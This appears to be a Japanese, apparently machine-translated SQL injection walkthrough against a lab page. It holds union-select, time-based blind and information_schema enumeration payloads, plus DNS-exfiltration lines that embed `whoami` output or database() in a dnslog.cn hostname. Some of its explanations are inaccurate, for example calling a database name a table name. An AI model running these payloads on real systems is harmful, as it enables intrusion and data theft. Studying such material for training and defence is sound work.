ターゲットページ#
ページを開くと明らかに注入ポイントが見つかります
これをテストして、and 1=1
を追加するとページが正常に表示され、and 1=2
の場合はページが異常になることがわかりました
数字型である可能性があります
数字型は引用符を閉じる必要がなく、文字型を構築する際には引用符の閉じを注意する必要がありますorder by 3
でページがエラーを返すことから、現在のデータベースには 2 つの列が存在することがわかり、データベースにエコーがないことも確認しましたand if(exists(select * from information_schema.tables limit 1),sleep(10),1)--
if
文と exists
関数を使用して information_schema.tables
というテーブルが存在するかどうかを確認します
存在する場合は 10 秒遅延します
存在しない場合は数値 1 を返します。この 1 は if
文の中で真を表し、結果に影響を与えません
簡単に言うと、information_schema.tables
というテーブルが存在すれば 10 秒遅延し、存在しなければページは正常に実行され遅延しません
Linux システムで ping \
whoami`.i0f4xk.dnslog.cn を実行すると、
whoamiがバッククォートで囲まれているため、最初に
whoami コマンドが実行されます<br />同様に、
ping $(whoami).i0f4xk.dnslog.cnも上記のコードと同じ効果があります<br />しかし、DNSの前に
whoamiを直接追加してもコマンドは出力されません<br />同様に、Windowsでは
ping % username%..i0f4xk.dnslog.cn` を使用してもコマンドを実行できます
私は DNS のワイルドカード解決の原理についてまだ理解が浅いので、詳しく解説してくれる方がいれば嬉しいです。
?id=1 union select 1,load_file(concat("\\\\",(select database()),".eoumbx.dnslog.cn\\abc")) --+
ページは正常ですが、DNS ログの外部取得に失敗しました
DNS ログの外部取得ができないことに気づき、行き詰まったときに ?id=1 and 1=2 union select 1,2
にエコーがあることに気づき、突然明るくなりました(スターゲーマーは見つけるのが難しいと感じています。。。。)それで、直接
?id=1 and 1=2 union select 1,database()
を使用して現在のテーブル名が maoshe
であることを確認しました?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
information_schema
は特別なデータベースで、SQL 標準で定義されており、データベースのメタデータを保存するために使用されます。これには、データベース、テーブル、列、制約、権限などの情報が含まれます。
table_schema
はinformation_schema.tables
でデータベースのテーブル名を照会する関数です
columns_name
はinformation_schema.columns
でデータベースの列名を照会する関数です
?id=1 and 1=2 union select 5,column_name from information_schema.columns where table_schema =database() and table_name ="admin" limit 0,1
でパラメータオフセットを使用して admin
テーブルに id
、username
、password
列があることを確認しました
information_schema.columns
の column_name
列を照会することで admin
テーブルの列名を取得できます
テーブル名が現在のテーブル名と一致する場合、and
を使用して条件を追加し、table_name= "admin"
つまり前のステップで照会した admin
のみが表示されますlimit
パラメータは結果をオフセットするために使用され、エコーが 1 つだけの場合、limit x,y
を使用して調整します
x 番目から y 個を出力します
テーブル名と列名がわかればデータの出力は非常に簡単です
インターネットでの情報検索を通じて、group_concat()
関数を利用して大量のデータを出力できることがわかりました
例えば、?id=1 and 1=2 union select 5,group_concat(table_name) from information_schema.tables
は table_name
のすべてのデータを出力できます!?id=1 and 1=2 union select 5,group_concat(column_name) from information_schema.columns where table_name ='xss'
次に、SQL インジェクションの考え方について簡単に説明します
- 注入ポイントを見つける必要があります
- 判断を行い、文字型か数字型かを判断します。文字型は適切に引用符を閉じる必要があり、数字型は必要ありません
order by
を使用してフィールド数を判断します(後のエコーポイントの利用を容易にするため)- 結合エラーチェックを通じてエコーポイントを判断します(エコーがない場合は盲目的な注入を行うしかありません)
information_schema.tables
のtable_name
を使用してテーブル名を照会します(単一の照会にlimit
を利用することも、group_concat
を使用して照会することもできます)information_schema.columns
のcolumn_name
を使用して列名を照会します